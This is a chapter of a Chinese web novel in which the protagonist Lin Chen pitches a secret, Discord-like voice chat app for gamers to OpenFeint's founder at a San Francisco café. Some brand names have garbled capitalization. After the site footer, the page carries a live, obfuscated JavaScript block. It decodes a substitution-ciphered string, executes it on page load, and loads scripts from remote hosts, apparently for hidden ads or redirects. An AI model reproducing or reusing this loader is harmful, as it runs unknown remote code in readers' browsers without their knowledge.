第333章 你的脑子里到底装着什么?
第333章你的脑子里到底装着什么?(第1/2页)
旧金山。
一家酒店楼下的露天咖啡座。
桌上摆着两杯美式咖啡。
林辰手里捏着一根银色小勺,不紧不慢地搅动着杯里的褐色液体。
勺子碰击杯壁,发出轻微清脆的声响。
他对面坐着OpenFeint的创始人,杰森。
杰森的眼眶周围还有些熬夜留下的青黑,但精神状态和几天前相比,已经发生了翻天覆地的变化。
辰希资本的收购资金已经到账。
底层的SDK接口与大夏国的飞鸽生态完成对接后,后台的数据报表正在以一种不讲道理的姿态向上攀升。
杰森端起面前的咖啡喝了一大口,长长地舒了一口气。
他看着眼前的林辰,心中已经没有了硅谷创业者面对资本时的防备。
林辰把银色小勺放在杯托上,抬眼看向杰森。
“这两天的数据报告,我看了。”
林辰的双手交叠放在桌面上,语气平实。
“借着国内庞大的玩家基数,OpenFeint的流量确实迎来了反弹。”
“但杰森,你我都清楚,游戏分发只是现在的生意。”
“只要苹果的iOS系统还占据着硬件的底层控制权。”
“他们官方的GameCenter随时可以通过一次强制的系统更新,再次切断我们的开发者生态。”
“我们现在的繁荣,是建立在苹果还没有完全下场清剿第三方平台的前提下。”
杰森脸上的轻松神色渐渐收敛。
他放下咖啡杯,身体不自觉地坐直了。
作为开发者,他太明白寄人篱下的危机感了。
苹果在系统级的封闭垄断,是悬在所有iOS第三方开发者头顶的达摩克利斯之剑。
“林,你说得对。”
杰森双手交叉搓了搓,神色认真起来。
“我们不能把公司的生死存亡,永远寄托在苹果的仁慈上。”
“所以,我们需要寻找新的护城河。”
林辰的目光透过咖啡升腾的雾气,看着对面的杰森。
“我今天找你来,是要交给你一个长期的任务。”
“这件事情,必须秘密进行。”
林辰敲了敲桌面。
“我要你在公司内部成立一个全新的部门,完全脱离现有的游戏分发业务。”
杰森愣了一下,有些不解地看着林辰。
“新部门?我们要做什么新产品?”
“一款通讯软件。”
林辰平静地说出了答案。
“通讯软件?”
杰森皱起眉头,脑海中立刻浮现出几个巨头的名字。
“林,北美的通讯市场已经被牢牢占据了。”
“商务沟通有微软的Skype,普通人社交有FaCebOOk的MeSSenger。”
“如果我们现在去做一款大众通讯软件,获客成本会是一个无底洞,而且根本抢不到用户。”
林辰摇了摇头。
他拿起桌上的一张空白餐巾纸,拔出随身携带的钢笔。
“我们不做大众社交,也不去碰商务办公。”
林辰在餐巾纸上画了一个游戏手柄的简图。
“我们只做一类人的生意。”
“硬核游戏玩家。”
林辰笔尖点在那个手柄图案上,开始向杰森拆解这个在未来统治了全球玩家桌面的庞然大物。
“杰森,你平时打游戏吗?”
“比如魔兽世界,或者使命召唤?”
杰森立刻点头。
他不仅是个程序员,骨子里更是一个资深的硬核游戏玩家。
“当你和你的公会朋友一起打团队副本的时候,你们是怎么沟通的?”林辰问道。
“打字太慢,我们会用语音软件。”
杰森如实回答。
“通常是用VentrilO,或者TeamSpeak。有时候也会用Skype建一个讨论组。”
林辰用钢笔在餐巾纸上画了几个大大的叉号。
“这就是痛点。”
“这些软件太古老,也太臃肿了。”
“Skype占用大量的电脑内存和CPU资源,后台进程复杂。玩家在打大型3D游戏时,只要打开Skype,游戏帧数就会明显下降,甚至会造成卡顿。”
“而TeamSpeak这种专业的语音工具,门槛又太高。”
“它需要玩家自己去租用昂贵的服务器节点,需要输入复杂的IP地址和端口号。”
“界面丑陋,操作繁琐。”
林辰看着杰森,抛出了他构思中的底层逻辑。
“我要你做的这款软件,必须解决这三个最核心的痛点。”
“第一,绝对的轻量化。”
“它在后台运行时的内存和CPU占用率,必须压缩到极致。哪怕玩家开着最吃配置的3A大作,也感觉不到它的存在。”
“第二,完全免费的云端服务器。”
“用户不需要自己去花钱租服务器。所有的语音通道和数据存储,全部由我们提供官方的云端支持。”
“第三,极低延迟的语音传输质量。”
“采用最新的音频压缩算法,保证多人同时在线说话时,语音清晰、不卡顿、不掉线。”
杰森听着林辰的描述,脑子里作为程序员的雷达已经开始飞速运转。
这三个要求,在技术实现上并不算不可逾越的鸿沟。
但真正让他感到震撼的,是林辰接下来的话。
林辰在餐巾纸上画了一个大方框,里面切分出几个小区域。
“除了底层技术的优化,交互逻辑必须彻底颠覆。”
“我们要抛弃传统的‘打电话’模式。”
林辰笔尖在纸上滑动。
“现在的语音软件,你想跟朋友说话,必须拨打过去,等对方接听。这就产生了一种强制的社交压力。”
“我们的软件,不需要拨号,也不需要接听。”
“它采用‘服务器’和‘频道’的架构。”
林辰详细地拆解着DiSCOrd的灵魂设计。
“每一个玩家,都可以免费创建一个属于自己的专属服务器。这就是他们公会的数字据点。”
“在服务器里,可以建立多个文字频道和语音频道。”
“文字频道用来发公告、聊战术、分享游戏截图。”
“而语音频道,是全天候常开的。”
林辰看着杰森。
“玩家只需要用鼠标点击一下某个语音频道的名称。”
“没有铃声,没有等待。”
“他的麦克风和耳机就会在一秒钟内无缝接入这个频道。”
“里面的人正在聊天,他可以随时加入进去;如果他想离开,点一下断开连接,就能瞬间退出。”
“这种‘随进随出’的无感体验,就像是大家坐在同一个网吧的包厢里。”
(本章未完,请点击下一页继续阅读)第333章你的脑子里到底装着什么?(第2/2页)
“门一直开着,谁想进来搬把椅子坐下聊两句都行。聊完了,推门走人。”
咖啡座上安静了下来。
只有街道上偶尔驶过的汽车引擎声。
杰森坐在椅子上。
他的眼睛越睁越大。
作为一名在硅谷摸爬滚打的软件开发者,他太清楚这种交互逻辑的颠覆性了。
这完全抛弃了传统通讯软件那种“一对一”的拘束感。
它创造了一个永远在线的、完全属于玩家的数字虚拟客厅。
“还有最重要的拉新机制。”
林辰继续补充。
“它不能像传统的软件那样,需要去搜索账号、发送好友申请、等待通过。”
“玩家在游戏里遇到了合拍的队友,只需要在软件里点击生成一个邀请链接。”
“把这个链接发到游戏内的公屏上。”
“对方点击链接,甚至不需要下载庞大的客户端,直接通过网页端就能瞬间加入你们的语音频道,开始沟通。”
林辰把钢笔收起,放进口袋。
“轻量化,无缝语音,服务器频道制,链接一键邀请。”
“这就是我要你做的东西。”
杰森呆呆地看着桌上那张画满了线条的餐巾纸。
他的呼吸开始变得急促起来。
他胸腔里那颗属于硬核玩家的心脏,正在疯狂地跳动。
他想象着自己每天晚上下班后,打开电脑,点开这个软件。
左边是各个游戏公会的服务器列表。
中间是文字频道里朋友们分享的搞笑战报和游戏攻略。
右边显示着哪些朋友正在哪个语音频道里打副本。
他只需要轻轻点一下鼠标,就能瞬间听到朋友们的咒骂声和键盘敲击声。
这体验简直太棒了。
现有的那些语音软件,在这个产品构想面前,简直就是上个世纪的工业废品。
“上帝啊。”
杰森忍不住发出一声惊叹。
他甚至顾不上端起面前那杯早已经放凉的咖啡。
“林,你的脑子里到底装着什么?”
杰森的身体前倾,双手按在桌子边缘。
“这简直是硬核玩家的终极福音。”
“如果我们真的能把这个东西做出来,全北美的游戏公会,全欧洲的电竞战队。”
“他们会毫不犹豫地把那些笨重的旧软件全部卸载掉。”
“他们会像疯了一样涌入我们的平台。”
杰森的语气里透着掩饰不住的狂热。
他仿佛已经看到了一款席卷全球玩家桌面的超级巨无霸正在诞生。
“但是林。”
杰森从技术狂热中稍微冷静下来,作为一个公司的CEO,他必须考虑现实的商业闭环。
“如果我们提供完全免费的云端服务器,还要保证全球极低延迟的语音节点网络。”
“这背后的带宽和服务器租赁成本,将是一个天文数字。”
“如果软件内不加广告,我们靠什么来支撑这种庞大的开销?”
“怎么向投资人交代我们的盈利模型?”
杰森的问题很现实。
在硅谷,没有清晰变现路径的产品,是拿不到风投续命的。
林辰听完,平静地站起身。
他走到杰森的身边,伸手轻轻拍了拍这位创始人的肩膀。
“杰森,你现在不需要去考虑任何盈利的问题。”
林辰的声音平实,却带着一股无可匹敌的底气。
“服务器的钱,带宽的钱,开发人员的工资。”
“远景资本来出,资金管够。”
林辰看着远处的旧金山天际线。
“把眼光放长远一点。”
“当全美几千万、甚至上亿的年轻玩家,每天把他们除了睡觉以外的所有业余时间,都耗在我们的软件里。”
“当他们所有的游戏社交关系链,全部沉淀在我们的服务器频道里。”
林辰转过头,看着杰森。
“到了那个时候,我们手里握着的,就不再是一款简单的语音工具。”
“而是一个庞大的、高度垂直的年轻世代社交网络。”
“这是我们未来插进米国社交和游戏腹地的一把尖刀。”
“只要这把刀插得足够深。”
“变现,只是一件水到渠成的小事。”
林辰没有去跟杰森描绘未来靠出售高级会员特权、或者做游戏分发联运来赚钱的细节。
他只需要给杰森一个明确的战略方向。
做产品。
把体验做到极致。
其他的,资本会解决。
杰森重重地点了点头。
他的眼神里不再有对公司未来的迷茫。
“我明白了,林。”
“我们现在的团队不够,我的马上去招人,组建绝密开发组,把框架搭起来。”
突然,杰森语气一转,有些为难的道:“但是周期可能会比较长。”
他伸出手指,开始一项一项地数给林辰听。
“第一,音频引擎这块,现有的开源方案延迟太高,不适合游戏场景,我们需要自己写一套低延迟的音频捕获和回放层,底层要用C++直接调操作系统API,跨平台兼容性会很麻烦。”
“第二,服务器架构。如果我们要做全球节点覆盖,数据同步和负载均衡的方案得从头设计,现有的云服务商在亚太和欧洲的节点质量参差不齐,大概率要自己租机柜部署物理服务器。”
“第三,也是最头疼的——”
“你刚才说的‘点击链接直接网页加入’,以目前浏览器的能力,根本做不到无插件语音。FlaSh太不稳定,而且苹果已经开始封杀FlaSh了。这块要么等浏览器厂商开放新的API,要么我们暂时放弃网页端的语音功能,先从桌面客户端做起。”
他放下手,看着林辰。
“如果这三块同时推进,给我半年时间,应该能拿出一个可用的桌面公测版,但网页端……保守估计也要等到一两年后,等技术成熟。”
林辰安静地听完,端起茶杯喝了一口。
“别人做一年的东西,你半年给我拿出来,砸钱买时间。”
杰森愣了一下,随即咧嘴笑了。
资方不仅懂产品,还舍得在技术底层上砸真金白银,这对于一个技术出身的CEO来说,是最奢侈的底气。
“明白了。”杰森站起身,语气坚定。
“我回去就列招聘清单,把北美能挖的音频和网络专家全都扫一遍。”
这场简短的露天咖啡会面,就此结束。
在这个普通的旧金山午后。
没有人知道,在这个不起眼的角落里。
一张针对米国社交的大网已经悄无声息地撒下。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();